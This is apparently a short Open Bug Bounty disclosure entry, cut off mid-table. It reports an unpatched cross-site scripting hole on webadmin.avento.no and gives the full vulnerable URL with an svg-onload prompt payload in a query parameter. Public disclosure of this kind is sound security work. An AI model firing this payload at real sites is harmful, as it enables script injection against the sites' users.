webadmin.avento.no XSS vulnerability

Vulnerable URL: https://webadmin.avento.no/4/logout.asp?error=timeout=xss%22%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...